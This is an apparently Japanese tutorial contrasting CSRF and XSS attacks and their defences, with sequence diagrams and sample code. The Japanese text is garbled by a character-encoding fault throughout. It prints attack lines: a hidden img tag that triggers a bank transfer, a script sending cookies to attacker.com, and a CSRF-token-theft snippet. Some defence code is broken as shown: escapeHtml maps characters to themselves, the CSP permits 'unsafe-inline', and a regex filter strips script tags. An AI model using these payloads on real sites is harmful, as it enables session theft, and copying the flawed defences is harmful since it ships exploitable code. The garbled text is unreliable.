CSRFãšXSSã®æ žå¿çãªéããšé²åŸ¡æŠç¥
ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£ã§æãããèšåãããïŒã€ã®æ»æã¿ã€ããCSRF ãš XSSãã©ã¡ããæ·±å»ãªã»ãã¥ãªãã£è åšã§ãããæ»æææ³ãé²åŸ¡çããŸã£ããç°ãªããŸããæ¬çš¿ã§ã¯ãäž¡æ»æã®æ žå¿çãªéããæç¢ºã«çè§£ããå®åã§å³é©çšã§ããé²åŸ¡æè¡ãèŠãŠãããŸãããã
å€ãã®éçºè 㯠CSRF ãš XSS ãæ··åããããäŒŒãæ»æãšæãããããŸãããããããããïŒã€ã®æ»æã¯æ ¹æ¬çã«ç°ãªãè匱æ§ãçã£ãŠãããããããã«åã£ãé²åŸ¡çãå¿ èŠã§ãããã®éããæ£ç¢ºã«ææ¡ããããšããæå¹ãªã»ãã¥ãªãã£æŠç¥ã®ç¬¬äžæ©ã«ãªããŸãã
CSRF (CrossâSite Request Forgery) ãçè§£ãã
sequenceDiagram
participant User as ð§ ãŠãŒã¶ãŒïŒãã©ãŠã¶ïŒ
participant AttackerSite as ðžïž æªæãããµã€ã
participant Bank as ðŠ éè¡ãµãŒããŒ
Note over User,Bank: ãŠãŒã¶ãŒã¯éè¡ãµã€ãã«ãã°ã€ã³ããŠãããã»ãã·ã§ã³ïŒã¯ãããŒïŒãæå¹ãªç¶æ
User->>AttackerSite: (1) æªæãããµã€ãã蚪åïŒäŸïŒãªã³ã¯ã¯ãªãã¯ïŒ
AttackerSite-->>User: (2) é ããããªã¯ãšã¹ãã³ãŒãéä¿¡
<img src="http://bank.com/transfer?to=attacker&amount=1000000">
Note over User: (3) ãã©ãŠã¶ãèªåçã« bank.com ã«ãªã¯ãšã¹ããéä¿¡ïŒã¯ãããŒå«ãïŒ
User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000ïŒã¯ãããŒïŒã»ãã·ã§ã³å«ãïŒ
alt ãµãŒããŒããªã¯ãšã¹ãçºä¿¡å
ãæ€èšŒããªã
Bank-->>Bank: (5) ãµãŒããŒããã®ãªã¯ãšã¹ããæ£åœãªãŠãŒã¶ãŒããã®ãã®ãšæ±ã
Bank-->>User: (6) ééåŠçå®äºïŒãŠãŒã¶ãŒã¯æ°ã¥ããªãïŒ
else ãµãŒããŒã CSRF é²åŸ¡ãé©çšïŒäŸïŒCSRF ããŒã¯ã³æ€èšŒïŒ
Bank-->>User: (5) ãªã¯ãšã¹ãæåŠïŒCSRF ããŒã¯ã³äžäžèŽïŒ
end
CSRF 㯠ãŠãŒã¶ãŒã®æš©éãæªçšãã æ»æã§ããæ»æè ããŠãŒã¶ãŒã®ç¥ããªãéã«ç¹å®ãŠã§ããµã€ããžãªã¯ãšã¹ããéãããããèªå°ããæ¹åŒã§ãã
CSRF æ»æã®åäœåç
CSRF ã¯ãµãŒããŒããŠãŒã¶ãŒãä¿¡é ŒããŠããããšã æªçš ããŸãããŠãŒã¶ãŒãéè¡ãŠã§ããµã€ãã«ãã°ã€ã³ããŠããç¶æ ã§æªæãããµã€ãã蚪åãããšãæ»æè ã¯éè¡ãµãŒããŒãžééãªã¯ãšã¹ããéãããšãã§ããŸãããµãŒããŒã¯ãã®ãªã¯ãšã¹ããæ£åœãªãŠãŒã¶ãŒããã®ãã®ãšå€æããŠåŠçããããã§ãã
<!-- æªæãããµã€ãã§ã® CSRF æ»æã®äŸ -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">
ãã®ã·ã³ãã«ãªç»åã¿ã°ã ãã§ããŠãŒã¶ãŒã®ç¥ããªãéã«ééãªã¯ãšã¹ããå®è¡ãããå¯èœæ§ããããŸãããŠãŒã¶ãŒã®ã»ãã·ã§ã³ãæå¹ãªãããµãŒããŒã¯ãããæ£åžžãªãªã¯ãšã¹ããšããŠæ±ããŸãã
CSRF ã®ç¹åŸŽãšåœ±é¿
-
æ»æçºçå ŽæïŒãµãŒããŒåŽ
-
ä¿¡é Œé¢ä¿ïŒãµãŒããŒããŠãŒã¶ãŒãä¿¡é Œ
-
äž»ãªç®çïŒæš©éã®æªçšã«ããäžæ£æäœ
-
被害ç¯å²ïŒã¢ã«ãŠã³ãæ å ±ã®å€æŽãéèååŒãéèŠèšå®ã®ä¿®æ£ãªã©
XSS (CrossâSite Scripting) ãæãäžãã
XSS ã¯ æªæããã¹ã¯ãªããã Web ããŒãžå ã«æ³šå ¥ ããæ»æã§ãããŠãŒã¶ãŒã®ãã©ãŠã¶äžã§ã¹ã¯ãªãããå®è¡ãããã¯ãããŒãã»ãã·ã§ã³æ å ±ã奪åããããäžæ£ãªåäœãããããããŸãã
XSS æ»æã®ïŒçš®é¡
1. Stored XSSïŒä¿ååïŒ
æªæããã¹ã¯ãªãããããŒã¿ããŒã¹ã«æ°žä¹ ä¿åããã該åœããŒãžã蚪ãããã¹ãŠã®ãŠãŒã¶ãŒã«åœ±é¿ãäžããŸãã
2. Reflected XSSïŒåå°åïŒ
ã¡ãŒã«ããªã³ã¯ãçµç±ããŠãŠãŒã¶ãŒãã¯ãªãã¯ãããšå®è¡ãããæ¹åŒã§ãäž»ã«äžåæ§ã®æ»æã«çšããããŸãã
3. DOMâbased XSSïŒDOM åïŒ
JavaScript ã䜿ã£ãŠ DOM ãæäœããHTML ãçŽæ¥å€æŽããããšãªãæ»æãå®è¡ããŸãã
XSS æ»æã®äŸ
sequenceDiagram
participant User as ð§ ãŠãŒã¶ãŒïŒãã©ãŠã¶ïŒ
participant VulnSite as ð è匱ãªãµã€ã
participant Attacker as ð¯ æ»æè
ãµãŒããŒ
participant VictimService as ð·ïž ãµãŒãã¹ïŒã»ãã·ã§ã³èå¥åïŒ
Note over User,VulnSite: ãŠãŒã¶ãŒãè匱ãªããŒãžã蚪åïŒXSS è匱æ§ããïŒ
User->>VulnSite: (1) ããŒãžããªã¯ãšã¹ã
VulnSite-->>User: (2) å¿çïŒæªæããã¹ã¯ãªããå«ãïŒ
Note over User: (3) ãã©ãŠã¶ãããŒãžå
ã¹ã¯ãªãããå®è¡
User->>Attacker: (4) æªæããã¹ã¯ãªãããã¯ãããŒïŒã»ãã·ã§ã³æ
å ±ãæ»æè
ãµãŒããŒã«éä¿¡
e.g. document.location='https://attacker.com/?cookie='+document.cookie
Attacker-->>Attacker: (5) æ»æè
ãµãŒããŒãã»ãã·ã§ã³ cookie ãåé
Attacker->>VictimService: (6) 奪åããã»ãã·ã§ã³ã§ãµãŒãã¹ã«ã¢ã¯ã»ã¹è©Šè¡
alt ãµãŒãã¹ãã»ãã·ã§ã³ããã®ãŸãŸä¿¡é Œããå Žå
VictimService-->>Attacker: (7) èªèšŒæžã¿ã»ãã·ã§ã³ãšããŠã¢ã¯ã»ã¹ãèš±å¯ïŒã¢ã«ãŠã³ãä¹ã£åãïŒæ¹å€å¯èœïŒ
else é²åŸ¡ææ³ãé©çšãããå ŽåïŒäŸïŒHttpOnly, SameSite, CSP çïŒ
VictimService-->>User: (7) ãªã¯ãšã¹ãæåŠãŸãã¯ã»ãã·ã§ã³ç¡å¹å
end
<script>
document.location='https://attacker.com/?cookie='+document.cookie
</script>
ãã®ã¹ã¯ãªããã¯ãŠãŒã¶ãŒã®ã¯ãããŒãæ»æè ãµãŒããŒã«éä¿¡ããã»ãã·ã§ã³ã奪åããããšãå¯èœã§ãã
XSS ã®ç¹åŸŽãšåœ±é¿
-
æ»æçºçå ŽæïŒã¯ã©ã€ã¢ã³ãïŒãã©ãŠã¶ïŒåŽ
-
ä¿¡é Œé¢ä¿ïŒãŠãŒã¶ãŒãç¹å®ã®ãµã€ããä¿¡é Œ
-
äž»ãªç®çïŒã¯ãããŒã»ã»ãã·ã§ã³ã®å¥ªåãWeb ãµã€ãã®æ¹ãã
-
被害ç¯å²ïŒå人æ å ±æŒæŽ©ãã¢ã«ãŠã³ãä¹ã£åãããã£ãã·ã³ã°æ»æãªã©
CSRF ãš XSS ã®æ žå¿çãªéã
| åºå | CSRF | XSS |
|---|---|---|
| æ»ææ¹æ³ | æš©éã奪ãããã¯ã©ã€ã¢ã³ããåœãªã¯ãšã¹ãããµãŒããŒã«éä¿¡ | æªæããã¹ã¯ãªãããã¯ã©ã€ã¢ã³ãäžã§å®è¡ |
| ä¿¡é Œé¢ä¿ | ç¹å®ãµã€ãããŠãŒã¶ãŒãä¿¡é Œ | ãŠãŒã¶ãŒãç¹å®ãµã€ããä¿¡é Œ |
| æ»æå¯Ÿè±¡ | ãµãŒã㌠| ã¯ã©ã€ã¢ã³ã |
| äž»ãªç®ç | æš©éã®æªçš | ã¯ãããŒã»ã»ãã·ã§ã³å¥ªåãWeb ãµã€ãæ¹ãã |
ãã®éããçè§£ããã°ãããããã®æ»æã«å¯ŸããŠé©åãªé²åŸ¡æŠç¥ãç«ãŠãããšãã§ããŸãã
CSRF é²åŸ¡æŠç¥
1. CSRF ããŒã¯ã³ã®äœ¿çš
æã广ç㪠CSRF é²åŸ¡ææ³ã¯ãããŒã¯ã³ã掻çšããããšã§ãã
// ãµãŒããŒåŽã§ CSRF ããŒã¯ã³çæãšæ€èšŒ
const csrfToken = crypto.randomUUID();
// ã»ãã·ã§ã³ã«ããŒã¯ã³ãä¿å
req.session.csrfToken = csrfToken;
// ã¯ã©ã€ã¢ã³ãåŽã§ãªã¯ãšã¹ãéä¿¡æã«ããŒã¯ã³ãå«ãã
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken
},
body: JSON.stringify(transferData)
});
2. Referrer æ€èšŒ
ãªã¯ãšã¹ãããããŒã® referrer 屿§ã確èªãããã¡ã€ã³ãäžèŽãããæ€èšŒããŸãã
3. SameSite ã¯ãããŒå±æ§
// SameSite 屿§ã§ã¯ãã¹ãµã€ããªã¯ãšã¹ããå¶é
res.cookie('sessionId', sessionId, {
sameSite: 'strict', // ãŸã㯠'lax'
httpOnly: true,
secure: true
});
4. CAPTCHA å°å ¥
éèŠãªæäœã«ã€ããŠã¯ãCAPTCHA ã«ãã远å èªèšŒãèŠæ±ããŸãã
XSS é²åŸ¡æŠç¥
1. å ¥åããŒã¿ã®æ€èšŒããã³ãã£ã«ã¿ãªã³ã°
// å±éºãªæååããã£ã«ã¿ãªã³ã°
function sanitizeInput(input) {
return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}
// èš±å¯ããã¿ã°ã®ã¿äœ¿çš
const allowedTags = ['p', 'br', 'strong', 'em'];
2. åºåã®ãšã³ã³ãŒãã£ã³ã°
// HTML ãšã³ãã£ãã£ãžã®ãšã³ã³ãŒãã£ã³ã°
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
3. Content Security Policy (CSP) ã®å°å ¥
<!-- CSP ããããŒã«ããã¹ã¯ãªããå®è¡å¶é -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';">
4. HttpOnly ã¯ãããŒèšå®
// document.cookie ããã¢ã¯ã»ã¹ã§ããªãã¯ãããŒèšå®
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true
});
å®éã®æ»æäºäŸãšæèš
CSRF æ»æäºäŸ
2008 幎ãNetflix ã§çºçãã CSRF æ»æã§ã¯ããŠãŒã¶ãŒã®ç¥ããªãéã«æ ç»ã®è©äŸ¡ãæäœãããããå人æ å ±ãæ¹å€ããããããã®ã«æªçšãããŸããããã®äºä»¶ã¯ CSRF ããŒã¯ã³ã®éèŠæ§ãäžå±€æµ®ã圫ãã«ããŸããã
XSS æ»æäºäŸ
2005 幎ãMySpace ã® âSamy Wormâ äºä»¶ã¯ XSS è匱æ§ã䜿ã£ãŠããããäžæ¥ã§ 100 äžäººä»¥äžã®ãŠãŒã¶ãŒãææãããŸãããããã¯é©åãªå ¥åæ€èšŒã®éèŠæ§ã瀺ã代衚çãªäºäŸã§ãã
äž¡æ»æãçµã³ã€ãããšãã®ãªã¹ã¯
CSRF ãš XSS ãçµã¿åããããšãæ»æã®æ³¢ååã¯åçã«å¢å ããŸããXSS ã«ãã£ãŠ CSRF ããŒã¯ã³ã奪åãããåé¿ãããã§ããããã§ãã
// XSS ã䜿ã£ã CSRF ããŒã¯ã³å¥ªåäŸ
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// 奪åããããŒã¯ã³ã䜿ã£ãŠæªæãããªã¯ãšã¹ãå®è¡
ããããè€åæ»æãé²ãã«ã¯ãäž¡æ¹ã®æ»æã«å¯Ÿããå æ¬çãªã»ãã¥ãªãã£æŠç¥ãå¿ èŠã§ãã
éçºè ãç¥ã£ãŠããã¹ãã»ãã¥ãªãã£åå
ã»ãã¥ãªãã£ãšã¯ãåã«ç¹å®ã®ææ³ãé©çšããããšã§ã¯ãªããå šäœçãªèŠç¹ã§ã¢ãããŒãããããšã§ããCSRF ãš XSS ã¯ãããããç°ãªãä¿¡é Œé¢ä¿ãæªçšããæ»æã§ãããããåå¥ã«åã£ãé²åŸ¡æŠç¥ãèšèšããªããã°ãªããŸããã
ãŠã§ãã¢ããªã±ãŒã·ã§ã³ãéçºããéã«ã¯ãããŠãŒã¶ãŒå ¥åã¯ãã¹ãŠæªæããå¯èœæ§ãããããšããååãšãããµãŒããŒã¯ãã¹ãŠã®ãªã¯ãšã¹ããçãã¹ãã ããšããååãåæã«é©çšãã¹ãã§ãããããã®ïŒååã¯ãCSRFã»XSS é²åŸ¡ã®æ žå¿ã§ããããŸãã
ã»ãã¥ãªãã£ã³ãŒãã¬ãã¥ãŒãè¡ãéã«ãããããïŒã€ã®æ»æã¿ã€ãã念é ã«çœ®ããŠãã§ãã¯ããã°ãããå®å šãªã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ã§ããŸããç¹ã«ããŠãŒã¶ãŒå ¥åãæ±ãéšåãèªèšŒãèŠããæ©èœã«ãããŠã¯ãããæ éãªæ€èšãå¿ èŠã§ãã
CSRF ãš XSS ã¯ããŠã§ãã»ãã¥ãªãã£ã®åºæ¬ãã€æ žå¿ã§ãããããäºã€ã®æ»æã®éããæç¢ºã«çè§£ããé©åãªé²åŸ¡æŠç¥ãå®è£ ããã°ããŠãŒã¶ãŒãšãµãŒãã¹ã®åæ¹ãå®ãå ç¢ãªãŠã§ãã¢ããªã±ãŒã·ã§ã³ãäœãããšãã§ããã§ãããã